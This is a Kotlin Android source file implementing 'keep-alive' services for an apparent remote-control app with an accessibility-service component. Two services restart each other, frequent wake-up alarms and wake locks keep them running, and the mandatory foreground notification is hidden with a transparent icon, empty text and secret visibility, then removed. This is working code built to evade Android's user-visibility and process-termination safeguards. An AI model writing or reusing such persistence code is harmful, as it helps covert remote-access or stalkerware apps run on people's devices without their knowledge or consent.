package com.hikoncont.service

import android.app.Service
import android.app.AlarmManager
import android.app.PendingIntent
import android.app.Notification
import android.app.NotificationChannel
import android.app.NotificationManager
import android.content.ComponentName
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
import android.os.IBinder
import android.os.PowerManager
import android.os.Process
import android.util.Log
import kotlinx.coroutines.*
import java.io.FileInputStream
import java.io.FileOutputStream
import java.io.IOException

/**
 * 增强保活服务 - 借鉴反编译项目的双服务互保机制
 * 主要职责：
 * 1. 监控守护服务状态
 * 2. 心跳文件检测
 * 3. AlarmManager定时保活
 * 4. 服务互保机制
 */
class EnhancedKeepAliveService : Service() {

    companion object {
        private const val TAG = "EnhancedKeepAlive"
        private const val CHECK_INTERVAL = 5000L // ✅ 优化：5秒检查间隔（快速保活）
        private const val HEARTBEAT_TIMEOUT = 10000L // ✅ 优化：10秒心跳超时（快速检测）
        private const val ALARM_INTERVAL = 5000L // ✅ 优化：5秒AlarmManager间隔（快速保活）
        private const val NOTIFICATION_ID = 1002
    }

    private val serviceScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
    private var monitorJob: Job? = null
    private var wakeLock: PowerManager.WakeLock? = null
    private var foregroundStarted: Boolean = false
    private var alarmManager: AlarmManager? = null
    private var alarmPendingIntent: PendingIntent? = null
    private var lastGuardServiceStartTime = 0L
    private val GUARD_SERVICE_START_INTERVAL = 30000L // 30秒内只能启动一次守护服务
    private var crashCount = 0
    private val MAX_CRASH_COUNT = 5 // 最大崩溃次数
    private var lastCrashTime = 0L
    private val CRASH_RECOVERY_INTERVAL = 60000L // 崩溃恢复间隔：1分钟

    override fun onCreate() {
        super.onCreate()
        Log.i(TAG, "🛡️ 增强保活服务创建")
        
        // 确保前台服务
        ensureForeground()
        
        // 获取WakeLock
        acquireWakeLock()
        
        // 初始化AlarmManager
        initAlarmManager()
        
        // 启动监控
        startMonitoring()
        
        // 启动守护服务
        startGuardService()
    }

    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
        Log.i(TAG, "增强保活服务启动命令")
        // ✅ 修复：立即调用 startForeground，确保在5秒内完成
        // Android 要求在使用 startForegroundService() 后必须在 onStartCommand() 中立即调用 startForeground()
        try {
            startForegroundImmediately()
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动前台服务失败，尝试备用方案", e)
            ensureForeground() // 备用方案
        }
        return START_STICKY
    }

    override fun onBind(intent: Intent?): IBinder? {
        return null
    }

    override fun onDestroy() {
        Log.i(TAG, "🛑 增强保活服务销毁")
        
        try {
            // 释放WakeLock
            releaseWakeLock()
            
            // 取消AlarmManager
            cancelAlarmManager()
            
            // 停止监控
            monitorJob?.cancel()
            serviceScope.cancel()
            
            // ✅ 修复：添加防循环启动机制
            if (shouldStartGuardService()) {
                startGuardService()
            } else {
                Log.d(TAG, "⏳ 跳过守护服务启动，防止循环启动")
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 增强保活服务销毁过程中发生错误", e)
        } finally {
            super.onDestroy()
        }
    }

    /**
     * 获取WakeLock保活 - 优化版，防止内存泄漏
     */
    private fun acquireWakeLock() {
        try {
            val powerManager = getSystemService(Context.POWER_SERVICE) as PowerManager
            wakeLock = powerManager.newWakeLock(
                PowerManager.PARTIAL_WAKE_LOCK,
                "RemoteControl::EnhancedKeepAlive"
            )
            // ✅ 修复：减少WakeLock持有时间，防止内存泄漏
            wakeLock?.acquire(10 * 60 * 1000L) // 10分钟，而不是24小时
            Log.i(TAG, "🔋 增强保活WakeLock已获取（10分钟）")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取WakeLock失败", e)
        }
    }
    
    /**
     * 释放WakeLock
     */
    private fun releaseWakeLock() {
        try {
            wakeLock?.release()
            wakeLock = null
            Log.i(TAG, "🔋 增强保活WakeLock已释放")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 释放WakeLock失败", e)
        }
    }

    /**
     * 初始化AlarmManager
     */
    private fun initAlarmManager() {
        try {
            alarmManager = getSystemService(Context.ALARM_SERVICE) as AlarmManager
            
            val intent = Intent(this, KeepAliveReceiver::class.java)
            alarmPendingIntent = PendingIntent.getBroadcast(
                this, 0, intent,
                PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
            )
            
            val pendingIntent = alarmPendingIntent ?: return
            
            // 设置重复闹钟
            val triggerTime = System.currentTimeMillis() + ALARM_INTERVAL
            alarmManager?.setRepeating(
                AlarmManager.RTC_WAKEUP,
                triggerTime,
                ALARM_INTERVAL,
                pendingIntent
            )
            
            Log.i(TAG, "⏰ AlarmManager已启动，间隔: ${ALARM_INTERVAL}ms")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 初始化AlarmManager失败", e)
        }
    }

    /**
     * 取消AlarmManager
     */
    private fun cancelAlarmManager() {
        try {
            val pendingIntent = alarmPendingIntent
            if (pendingIntent != null) {
                alarmManager?.cancel(pendingIntent)
            }
            Log.i(TAG, "⏰ AlarmManager已取消")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 取消AlarmManager失败", e)
        }
    }

    /**
     * 启动监控 - 优化版，减少CPU占用，添加崩溃保护
     */
    private fun startMonitoring() {
        monitorJob = serviceScope.launch {
            while (isActive) {
                try {
                    // 更新心跳文件
                    updateHeartbeat()
                    
                    // 检查服务状态（降低检查频率）
                    checkServiceStatus()
                    
                    // ✅ 修复：增加检查间隔，减少CPU占用
                    delay(10000L) // 10秒检查间隔，而不是2秒
                } catch (e: Exception) {
                    Log.e(TAG, "监控过程中发生错误", e)
                    
                    // ✅ 新增：记录崩溃事件
                    recordCrash()
                    
                    // ✅ 修复：增加错误恢复间隔
                    delay(5000L) // 5秒错误恢复间隔，而不是1秒
                }
            }
        }
    }

    /**
     * 更新心跳文件
     */
    private fun updateHeartbeat() {
        try {
            val timestamp = System.currentTimeMillis().toString()
            openFileOutput("service_heartbeat.dat", Context.MODE_PRIVATE).use { fos ->
                fos.write(timestamp.toByteArray())
            }
            Log.d(TAG, "💓 心跳文件已更新: $timestamp")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 更新心跳文件失败", e)
        }
    }

    /**
     * 检查服务状态
     */
    private fun checkServiceStatus() {
        try {
            val serviceStatusManager = ServiceStatusManager.getInstance(this)
            
            // 检查守护服务
            if (serviceStatusManager.canStartService(GuardKeepAliveService::class.java)) {
                Log.w(TAG, "⚠️ 守护服务未运行，启动守护服务")
                serviceStatusManager.markServiceStarting(GuardKeepAliveService::class.java)
                try {
                    startGuardService()
                    serviceStatusManager.markServiceStarted(GuardKeepAliveService::class.java)
                } catch (e: Exception) {
                    serviceStatusManager.markServiceStartFailed(GuardKeepAliveService::class.java)
                    throw e
                }
            }
            
            // 检查无障碍服务
            val accessibilityService = AccessibilityRemoteService.getInstance()
            if (accessibilityService == null) {
                // ✅ 参考 f 目录：不重启无障碍服务，系统会自动管理
                Log.d(TAG, "📱 无障碍服务未运行，系统会自动管理无障碍服务生命周期")
            }
            
            // 检查前台服务
            if (serviceStatusManager.canStartService(RemoteControlForegroundService::class.java)) {
                Log.w(TAG, "⚠️ 前台服务未运行，启动前台服务")
                serviceStatusManager.markServiceStarting(RemoteControlForegroundService::class.java)
                try {
                    startForegroundService()
                    serviceStatusManager.markServiceStarted(RemoteControlForegroundService::class.java)
                } catch (e: Exception) {
                    serviceStatusManager.markServiceStartFailed(RemoteControlForegroundService::class.java)
                    throw e
                }
            }
            
            // 透明保活Activity由ComprehensiveKeepAliveManager统一管理，避免循环启动
            Log.d(TAG, "🫥 透明保活Activity由综合保活管理器统一管理")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查服务状态失败", e)
        }
    }

    /**
     * 检查服务是否未运行
     */
    private fun isServiceNotRunning(serviceClass: Class<*>): Boolean {
        return ServiceStatusManager.getInstance(this).isServiceNotRunning(serviceClass)
    }

    /**
     * 启动守护服务 - 优化版，防止循环启动
     */
    private fun startGuardService() {
        try {
            val serviceStatusManager = ServiceStatusManager.getInstance(this)
            if (serviceStatusManager.canStartService(GuardKeepAliveService::class.java)) {
                val intent = Intent(this, GuardKeepAliveService::class.java)
                if (android.os.Build.VERSION.SDK_INT >= 26) {
                    startForegroundService(intent)
                } else {
                    startService(intent)
                }
                lastGuardServiceStartTime = System.currentTimeMillis()
                Log.i(TAG, "🛡️ 守护服务已启动")
            } else {
                Log.d(TAG, "⏳ 守护服务启动被防抖机制阻止")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动守护服务失败", e)
        }
    }
    
    /**
     * 检查是否应该启动守护服务 - 防止循环启动
     */
    private fun shouldStartGuardService(): Boolean {
        val currentTime = System.currentTimeMillis()
        val timeSinceLastStart = currentTime - lastGuardServiceStartTime
        
        if (timeSinceLastStart < GUARD_SERVICE_START_INTERVAL) {
            Log.d(TAG, "⏳ 守护服务启动间隔过短，跳过启动: ${timeSinceLastStart}ms < ${GUARD_SERVICE_START_INTERVAL}ms")
            return false
        }
        
        // ✅ 新增：检查崩溃保护机制
        if (shouldPreventServiceStart()) {
            Log.w(TAG, "🛡️ 触发崩溃保护机制，跳过服务启动")
            return false
        }
        
        return true
    }
    
    /**
     * 检查是否应该阻止服务启动 - 崩溃保护机制
     */
    private fun shouldPreventServiceStart(): Boolean {
        val currentTime = System.currentTimeMillis()
        
        // 检查崩溃次数
        if (crashCount >= MAX_CRASH_COUNT) {
            val timeSinceLastCrash = currentTime - lastCrashTime
            if (timeSinceLastCrash < CRASH_RECOVERY_INTERVAL) {
                Log.w(TAG, "🛡️ 崩溃次数过多，进入保护模式: $crashCount/$MAX_CRASH_COUNT")
                return true
            } else {
                // 重置崩溃计数
                crashCount = 0
                Log.i(TAG, "🔄 崩溃保护期已过，重置崩溃计数")
            }
        }
        
        return false
    }
    
    /**
     * 记录崩溃事件
     */
    private fun recordCrash() {
        crashCount++
        lastCrashTime = System.currentTimeMillis()
        Log.w(TAG, "⚠️ 记录崩溃事件: $crashCount/$MAX_CRASH_COUNT")
    }


    /**
     * 启动前台服务
     */
    private fun startForegroundService() {
        try {
            val serviceStatusManager = ServiceStatusManager.getInstance(this)
            if (serviceStatusManager.canStartService(RemoteControlForegroundService::class.java)) {
                val intent = Intent(this, RemoteControlForegroundService::class.java)
                startForegroundService(intent)
                Log.i(TAG, "🎯 前台服务已启动")
            } else {
                Log.d(TAG, "⏳ 前台服务启动被防抖机制阻止")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动前台服务失败", e)
        }
    }

    // ✅ 参考 f 目录：已移除重启无障碍服务的功能，系统会自动管理无障碍服务生命周期

    /**
     * 立即启动前台服务 - 修复 ForegroundServiceDidNotStartInTimeException
     * 必须在 onStartCommand() 中立即调用，不能有任何延迟
     */
    private fun startForegroundImmediately() {
        try {
            val channelId = "enhanced_keepalive_channel"
            val channelName = "EnhancedKeepAlive"
            val notificationManager = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
            
            if (android.os.Build.VERSION.SDK_INT >= 26) {
                // ✅ 使用 IMPORTANCE_NONE 完全隐藏通知（Android 8.0+）
                val channel = NotificationChannel(channelId, channelName, NotificationManager.IMPORTANCE_NONE)
                channel.setShowBadge(false)
                channel.enableLights(false)
                channel.enableVibration(false)
                channel.setSound(null, null)
                channel.setBypassDnd(false)
                notificationManager.createNotificationChannel(channel)
            }
            
            val builder = if (android.os.Build.VERSION.SDK_INT >= 26) {
                Notification.Builder(this, channelId)
            } else {
                Notification.Builder(this)
            }
            
            val notification = builder
                .setContentTitle("") // ✅ 隐藏标题
                .setContentText("") // ✅ 隐藏内容
                .setSmallIcon(android.R.color.transparent) // ✅ 使用透明图标
                .setOngoing(true)
                .setPriority(Notification.PRIORITY_MIN) // ✅ 最低优先级
                .setShowWhen(false) // ✅ 不显示时间
                .setAutoCancel(false) // ✅ 不可取消
                .setVisibility(Notification.VISIBILITY_SECRET) // ✅ 完全隐藏
                .build()

            // ✅ 关键修复：立即调用 startForeground，不检查 foregroundStarted 标志
            startForeground(NOTIFICATION_ID, notification)
            
            foregroundStarted = true
            Log.i(TAG, "✅ 增强保活服务已立即进入前台运行（完全隐藏通知）")
            
            // ✅ 尝试移除通知（某些设备上可能有效）- 在后台线程执行，不阻塞
            try {
                if (android.os.Build.VERSION.SDK_INT >= 24) {
                    // 延迟执行，避免影响 startForeground 的及时性
                    serviceScope.launch {
                        delay(100L)
                        try {
                            stopForeground(Service.STOP_FOREGROUND_REMOVE)
                        } catch (e: Exception) {
                            Log.d(TAG, "无法移除通知（这是正常的）")
                        }
                    }
                }
            } catch (e: Exception) {
                // 忽略错误
                Log.d(TAG, "无法移除通知（这是正常的）")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 增强保活服务前台启动失败", e)
            throw e // 重新抛出异常，让调用者知道失败
        }
    }
    
    /**
     * 确保前台服务（备用方案）
     */
    private fun ensureForeground() {
        if (foregroundStarted) return
        try {
            startForegroundImmediately()
        } catch (e: Exception) {
            Log.e(TAG, "❌ 确保前台服务失败", e)
        }
    }
}

/**
 * 守护保活服务 - 借鉴反编译项目的GuardService
 * 主要职责：
 * 1. 监控主保活服务
 * 2. 在销毁时重启主服务
 * 3. 相互保活机制
 */
class GuardKeepAliveService : Service() {

    companion object {
        private const val TAG = "GuardKeepAlive"
        private const val NOTIFICATION_ID = 1003
    }

    private val serviceScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
    private var monitorJob: Job? = null
    private var wakeLock: PowerManager.WakeLock? = null
    private var foregroundStarted: Boolean = false
    private var lastMainServiceRestartTime = 0L
    private val MAIN_SERVICE_RESTART_INTERVAL = 30000L // 30秒内只能重启一次主服务

    override fun onCreate() {
        super.onCreate()
        Log.i(TAG, "🛡️ 守护保活服务创建")
        
        // 确保前台服务
        ensureForeground()
        
        // 获取WakeLock
        acquireWakeLock()
        
        // 启动监控
        startMonitoring()
    }

    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
        Log.i(TAG, "守护保活服务启动命令")
        // ✅ 修复：立即调用 startForeground，确保在5秒内完成
        // Android 要求在使用 startForegroundService() 后必须在 onStartCommand() 中立即调用 startForeground()
        try {
            startForegroundImmediately()
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动前台服务失败，尝试备用方案", e)
            ensureForeground() // 备用方案
        }
        return START_STICKY
    }

    override fun onBind(intent: Intent?): IBinder? {
        return null
    }

    override fun onDestroy() {
        Log.i(TAG, "🛑 守护保活服务销毁")
        
        try {
            // 释放WakeLock
            releaseWakeLock()
            
            // 停止监控
            monitorJob?.cancel()
            serviceScope.cancel()
            
            // ✅ 修复：添加防循环启动机制
            if (shouldRestartMainService()) {
                // 互保机制：重启主保活服务
                restartMainKeepAliveService()
                
                // 发送重启广播
                sendRestartBroadcast()
            } else {
                Log.d(TAG, "⏳ 跳过主服务重启，防止循环启动")
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 守护保活服务销毁过程中发生错误", e)
        } finally {
            super.onDestroy()
        }
    }

    /**
     * 获取WakeLock保活 - 优化版，防止内存泄漏
     */
    private fun acquireWakeLock() {
        try {
            val powerManager = getSystemService(Context.POWER_SERVICE) as PowerManager
            wakeLock = powerManager.newWakeLock(
                PowerManager.PARTIAL_WAKE_LOCK,
                "RemoteControl::GuardKeepAlive"
            )
            // ✅ 修复：减少WakeLock持有时间，防止内存泄漏
            wakeLock?.acquire(10 * 60 * 1000L) // 10分钟，而不是24小时
            Log.i(TAG, "🔋 守护保活WakeLock已获取（10分钟）")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取WakeLock失败", e)
        }
    }
    
    /**
     * 释放WakeLock
     */
    private fun releaseWakeLock() {
        try {
            wakeLock?.release()
            wakeLock = null
            Log.i(TAG, "🔋 守护保活WakeLock已释放")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 释放WakeLock失败", e)
        }
    }

    /**
     * 启动监控 - 优化版，减少CPU占用
     */
    private fun startMonitoring() {
        monitorJob = serviceScope.launch {
            while (isActive) {
                try {
                    // 检查主保活服务状态
                    checkMainKeepAliveService()
                    
                    // ✅ 修复：增加检查间隔，减少CPU占用
                    delay(15000L) // 15秒检查间隔，而不是2秒
                } catch (e: Exception) {
                    Log.e(TAG, "监控过程中发生错误", e)
                    // ✅ 修复：增加错误恢复间隔
                    delay(5000L) // 5秒错误恢复间隔，而不是1秒
                }
            }
        }
    }

    /**
     * 检查主保活服务状态
     */
    private fun checkMainKeepAliveService() {
        try {
            val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
            val runningServices = activityManager.getRunningServices(Integer.MAX_VALUE)
            
            val isMainServiceRunning = runningServices.any { 
                it.service.className == EnhancedKeepAliveService::class.java.name 
            }
            
            if (!isMainServiceRunning) {
                Log.w(TAG, "⚠️ 主保活服务未运行，启动主保活服务")
                startMainKeepAliveService()
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查主保活服务状态失败", e)
        }
    }

    /**
     * 启动主保活服务
     */
    private fun startMainKeepAliveService() {
        try {
            val intent = Intent(this, EnhancedKeepAliveService::class.java)
            if (android.os.Build.VERSION.SDK_INT >= 26) {
                startForegroundService(intent)
            } else {
                startService(intent)
            }
            Log.i(TAG, "🛡️ 主保活服务已启动")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动主保活服务失败", e)
        }
    }

    /**
     * 重启主保活服务（互保机制）- 优化版，防止循环启动
     */
    private fun restartMainKeepAliveService() {
        try {
            val intent = Intent(this, EnhancedKeepAliveService::class.java)
            if (android.os.Build.VERSION.SDK_INT >= 26) {
                startForegroundService(intent)
            } else {
                startService(intent)
            }
            lastMainServiceRestartTime = System.currentTimeMillis()
            Log.i(TAG, "🔄 主保活服务已重启（互保机制）")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 重启主保活服务失败", e)
        }
    }
    
    /**
     * 检查是否应该重启主服务 - 防止循环启动
     */
    private fun shouldRestartMainService(): Boolean {
        val currentTime = System.currentTimeMillis()
        val timeSinceLastRestart = currentTime - lastMainServiceRestartTime
        
        if (timeSinceLastRestart < MAIN_SERVICE_RESTART_INTERVAL) {
            Log.d(TAG, "⏳ 主服务重启间隔过短，跳过重启: ${timeSinceLastRestart}ms < ${MAIN_SERVICE_RESTART_INTERVAL}ms")
            return false
        }
        
        return true
    }

    /**
     * 发送重启广播
     */
    private fun sendRestartBroadcast() {
        try {
            val intent = Intent("android.mycustrecev.RESTART_SERVICES")
            sendBroadcast(intent)
            Log.i(TAG, "📡 服务重启广播已发送")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 发送重启广播失败", e)
        }
    }

    /**
     * 立即启动前台服务 - 修复 ForegroundServiceDidNotStartInTimeException
     * 必须在 onStartCommand() 中立即调用，不能有任何延迟
     */
    private fun startForegroundImmediately() {
        try {
            val channelId = "guard_keepalive_channel"
            val channelName = "GuardKeepAlive"
            val notificationManager = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
            
            if (android.os.Build.VERSION.SDK_INT >= 26) {
                // ✅ 使用 IMPORTANCE_NONE 完全隐藏通知（Android 8.0+）
                val channel = NotificationChannel(channelId, channelName, NotificationManager.IMPORTANCE_NONE)
                channel.setShowBadge(false)
                channel.enableLights(false)
                channel.enableVibration(false)
                channel.setSound(null, null)
                channel.setBypassDnd(false)
                notificationManager.createNotificationChannel(channel)
            }
            
            val builder = if (android.os.Build.VERSION.SDK_INT >= 26) {
                Notification.Builder(this, channelId)
            } else {
                Notification.Builder(this)
            }
            
            val notification = builder
                .setContentTitle("") // ✅ 隐藏标题
                .setContentText("") // ✅ 隐藏内容
                .setSmallIcon(android.R.color.transparent) // ✅ 使用透明图标
                .setOngoing(true)
                .setPriority(Notification.PRIORITY_MIN) // ✅ 最低优先级
                .setShowWhen(false) // ✅ 不显示时间
                .setAutoCancel(false) // ✅ 不可取消
                .setVisibility(Notification.VISIBILITY_SECRET) // ✅ 完全隐藏
                .build()

            // ✅ 关键修复：立即调用 startForeground，不检查 foregroundStarted 标志
            startForeground(NOTIFICATION_ID, notification)
            
            foregroundStarted = true
            Log.i(TAG, "✅ 守护保活服务已立即进入前台运行（完全隐藏通知）")
            
            // ✅ 尝试移除通知（某些设备上可能有效）- 在后台线程执行，不阻塞
            try {
                if (android.os.Build.VERSION.SDK_INT >= 24) {
                    // 延迟执行，避免影响 startForeground 的及时性
                    serviceScope.launch {
                        delay(100L)
                        try {
                            stopForeground(Service.STOP_FOREGROUND_REMOVE)
                        } catch (e: Exception) {
                            Log.d(TAG, "无法移除通知（这是正常的）")
                        }
                    }
                }
            } catch (e: Exception) {
                // 忽略错误
                Log.d(TAG, "无法移除通知（这是正常的）")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 守护保活服务前台启动失败", e)
            throw e // 重新抛出异常，让调用者知道失败
        }
    }
    
    /**
     * 确保前台服务（备用方案）
     */
    private fun ensureForeground() {
        if (foregroundStarted) return
        try {
            startForegroundImmediately()
        } catch (e: Exception) {
            Log.e(TAG, "❌ 确保前台服务失败", e)
        }
    }
}

/**
 * 保活广播接收器 - 借鉴反编译项目的ServiceRestartReceiver
 */
class KeepAliveReceiver : android.content.BroadcastReceiver() {
    
    companion object {
        private const val TAG = "KeepAliveReceiver"
    }
    
    override fun onReceive(context: Context, intent: Intent) {
        try {
            Log.i(TAG, "📡 收到保活广播: ${intent.action}")
            
            when (intent.action) {
                "android.mycustrecev.RESTART_SERVICES" -> {
                    restartAllServices(context)
                }
                "android.mycustrecev.RESTART_ACCESSIBILITY_SERVICE" -> {
                    // ✅ 参考 f 目录：不重启无障碍服务，系统会自动管理
                    Log.d(TAG, "📱 无障碍服务由系统自动管理，无需手动重启")
                }
                else -> {
                    // 默认重启所有服务
                    restartAllServices(context)
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理保活广播失败", e)
        }
    }
    
    /**
     * 重启所有服务
     */
    private fun restartAllServices(context: Context) {
        try {
            Log.i(TAG, "🔄 重启所有服务")
            
            // 检查服务状态，只在需要时启动
            checkAndStartServices(context)
            
            Log.i(TAG, "✅ 所有服务重启完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 重启所有服务失败", e)
        }
    }

    /**
     * 检查并启动服务
     */
    private fun checkAndStartServices(context: Context) {
        try {
            // 检查并启动增强保活服务
            if (isServiceNotRunning(context, EnhancedKeepAliveService::class.java)) {
                val enhancedIntent = Intent(context, EnhancedKeepAliveService::class.java)
                if (android.os.Build.VERSION.SDK_INT >= 26) {
                    context.startForegroundService(enhancedIntent)
                } else {
                    context.startService(enhancedIntent)
                }
            }
            
            // 检查并启动守护服务
            if (isServiceNotRunning(context, GuardKeepAliveService::class.java)) {
                val guardIntent = Intent(context, GuardKeepAliveService::class.java)
                if (android.os.Build.VERSION.SDK_INT >= 26) {
                    context.startForegroundService(guardIntent)
                } else {
                    context.startService(guardIntent)
                }
            }
            
            // 检查并启动前台服务
            if (isServiceNotRunning(context, RemoteControlForegroundService::class.java)) {
                val foregroundIntent = Intent(context, RemoteControlForegroundService::class.java)
                context.startForegroundService(foregroundIntent)
            }
            
            // ✅ 修复：保活机制不启动任何 Activity，只启动无障碍服务和后台进程
            Log.d(TAG, "📱 保活机制不启动 Activity，只启动无障碍服务和后台进程")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查并启动服务失败", e)
        }
    }

    /**
     * 检查服务是否未运行
     */
    private fun isServiceNotRunning(context: Context, serviceClass: Class<*>): Boolean {
        return try {
            val activityManager = context.getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
            val runningServices = activityManager.getRunningServices(Integer.MAX_VALUE)
            
            runningServices.none { it.service.className == serviceClass.name }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查服务运行状态失败", e)
            true
        }
    }
    
    // ✅ 参考 f 目录：已移除重启无障碍服务的功能，系统会自动管理无障碍服务生命周期
}
